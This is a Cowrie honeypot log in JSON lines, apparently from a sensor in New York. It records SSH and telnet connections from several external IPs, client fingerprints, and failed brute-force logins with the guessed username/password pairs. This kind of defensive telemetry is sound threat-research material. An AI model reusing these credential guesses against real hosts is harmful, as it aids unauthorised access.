{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:31:0b:5f:b0:5a:1d:35:58:3f:33:42:18:3b:0c:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEvgnw/PNzOWbluIz+8fRyFD408Jimlhhwh+gHAPqvwQBrMn5iJJIG3ui1MysAkA5BPf6/qZuCPLV2y6KJ5i4hxJaUCpbGe7NQKv3btIEWd3f8Gz0JgB7U+i6D77ydSMeyd0NHgs8QNzuZK9TnglSnuvB+7cWRw2YzUwZFM5NiiBnAGg/qGSquuUXuCRzm+9EVNoeoOa8vE7ZS1QculLAi2p3/8ESfYFjp3J8Ytsiy++fk4yWBoPQpX6AA0z6d/mZkJwGAvJVyK6c6XveVqMbmygQNWFp81gZWR3pbeE9olafP0VSev4XwUMiN7m8Io1TKKG85xil++Ih5cVkB01HN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.733891Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:af:12:01:9b:05:6b:3e:05:83:56:24:92:9b:cc:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0pIh2EC3yhwSGkNwbgrBsirDi6RhqC/KyyMp8LWjo6hd0igiVxZjcusyixvvY7AogMiT/Ua6RuiHVviNT2L5qC2SuaQDyfFVrvtLuILRUtdH+zI3KOtMw00aSQhg/+8yWlD1RW5roAwfahilOVkRP27nEBLrnzCfx9M4OIXiyOIYy4UOcTkYZbzKJg0HjHMoFEUwqu2BRiz7F1JYuNJSj82cs5FL1DIrMdbxIu3Lwc5BPEOqBezDkNcejH0G9ojsRc3kV23bkN77QLi0wSIuHUD93P1rgd6x0IQwagiW1WulJ5LazTSUwOh0u4TosxW9SpQwxhfvVCDIvrY8AYBD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:af:12:01:9b:05:6b:3e:05:83:56:24:92:9b:cc:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.817517Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:af:12:01:9b:05:6b:3e:05:83:56:24:92:9b:cc:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0pIh2EC3yhwSGkNwbgrBsirDi6RhqC/KyyMp8LWjo6hd0igiVxZjcusyixvvY7AogMiT/Ua6RuiHVviNT2L5qC2SuaQDyfFVrvtLuILRUtdH+zI3KOtMw00aSQhg/+8yWlD1RW5roAwfahilOVkRP27nEBLrnzCfx9M4OIXiyOIYy4UOcTkYZbzKJg0HjHMoFEUwqu2BRiz7F1JYuNJSj82cs5FL1DIrMdbxIu3Lwc5BPEOqBezDkNcejH0G9ojsRc3kV23bkN77QLi0wSIuHUD93P1rgd6x0IQwagiW1WulJ5LazTSUwOh0u4TosxW9SpQwxhfvVCDIvrY8AYBD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.821353Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.904486Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":32790,"dst_ip":"10.17.0.5","dst_port":22,"session":"770820c0c253","protocol":"ssh","message":"New connection: 103.15.226.202:32790 (10.17.0.5:22) [session: 770820c0c253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:49.017572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:49.022557Z","src_ip":"103.15.226.202","session":"770820c0c253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:49.267638Z","src_ip":"103.15.226.202","session":"770820c0c253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Flower","password":"huazexi","message":"login attempt [Flower/huazexi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:50.008560Z","src_ip":"103.15.226.202","session":"770820c0c253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:51.256876Z","src_ip":"103.15.226.202","session":"770820c0c253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":46112,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b0049f7abbe","protocol":"ssh","message":"New connection: 87.106.44.172:46112 (10.17.0.5:22) [session: 0b0049f7abbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:00.268081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:00.298520Z","src_ip":"87.106.44.172","session":"0b0049f7abbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:00.374483Z","src_ip":"87.106.44.172","session":"0b0049f7abbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:00.761413Z","src_ip":"87.106.44.172","session":"0b0049f7abbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:01.844878Z","src_ip":"87.106.44.172","session":"0b0049f7abbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":34784,"dst_ip":"10.17.0.5","dst_port":22,"session":"abb0e14655c2","protocol":"ssh","message":"New connection: 87.106.44.172:34784 (10.17.0.5:22) [session: abb0e14655c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:53.717132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:53.721659Z","src_ip":"87.106.44.172","session":"abb0e14655c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:53.820116Z","src_ip":"87.106.44.172","session":"abb0e14655c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789abc","message":"login attempt [root/123456789abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:54.242080Z","src_ip":"87.106.44.172","session":"abb0e14655c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:04:55.334633Z","src_ip":"87.106.44.172","session":"abb0e14655c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":35090,"dst_ip":"10.17.0.5","dst_port":22,"session":"88a334124533","protocol":"ssh","message":"New connection: 87.106.44.172:35090 (10.17.0.5:22) [session: 88a334124533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:05:50.970165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:05:50.975706Z","src_ip":"87.106.44.172","session":"88a334124533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:05:51.061197Z","src_ip":"87.106.44.172","session":"88a334124533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hn123456","message":"login attempt [root/Hn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:05:51.412573Z","src_ip":"87.106.44.172","session":"88a334124533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:05:52.495701Z","src_ip":"87.106.44.172","session":"88a334124533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49414,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f24a701b750","protocol":"ssh","message":"New connection: 103.15.226.202:49414 (10.17.0.5:22) [session: 0f24a701b750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:07:22.936593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:07:22.941427Z","src_ip":"103.15.226.202","session":"0f24a701b750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:07:23.190391Z","src_ip":"103.15.226.202","session":"0f24a701b750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ociistst","password":"ociistst","message":"login attempt [ociistst/ociistst] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:07:23.940999Z","src_ip":"103.15.226.202","session":"0f24a701b750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:07:25.193267Z","src_ip":"103.15.226.202","session":"0f24a701b750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":49174,"dst_ip":"10.17.0.5","dst_port":23,"session":"6591a5d504e9","protocol":"telnet","message":"New connection: 212.55.149.117:49174 (10.17.0.5:23) [session: 6591a5d504e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:08:42.726925Z"}
{"eventid":"cowrie.session.closed","duration":61.84291481971741,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:09:44.569707Z","src_ip":"212.55.149.117","session":"6591a5d504e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58974,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cd0ebec9a9d","protocol":"ssh","message":"New connection: 103.15.226.202:58974 (10.17.0.5:22) [session: 5cd0ebec9a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:10:56.914260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:10:56.925352Z","src_ip":"103.15.226.202","session":"5cd0ebec9a9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:10:57.170631Z","src_ip":"103.15.226.202","session":"5cd0ebec9a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qq","message":"login attempt [root/123456qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:10:57.916445Z","src_ip":"103.15.226.202","session":"5cd0ebec9a9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:10:59.164997Z","src_ip":"103.15.226.202","session":"5cd0ebec9a9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":30798,"dst_ip":"159.203.135.109","dst_port":22,"session":"9adcb5d70a13","protocol":"ssh","message":"New connection: 193.24.211.100:30798 (159.203.135.109:22) [session: 9adcb5d70a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:11:14.046353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:11:14.054107Z","src_ip":"193.24.211.100","session":"9adcb5d70a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:11:14.157580Z","src_ip":"193.24.211.100","session":"9adcb5d70a13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maximus","message":"login attempt [root/maximus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:11:14.587858Z","src_ip":"193.24.211.100","session":"9adcb5d70a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:11:15.701438Z","src_ip":"193.24.211.100","session":"9adcb5d70a13","protocol":"ssh"}
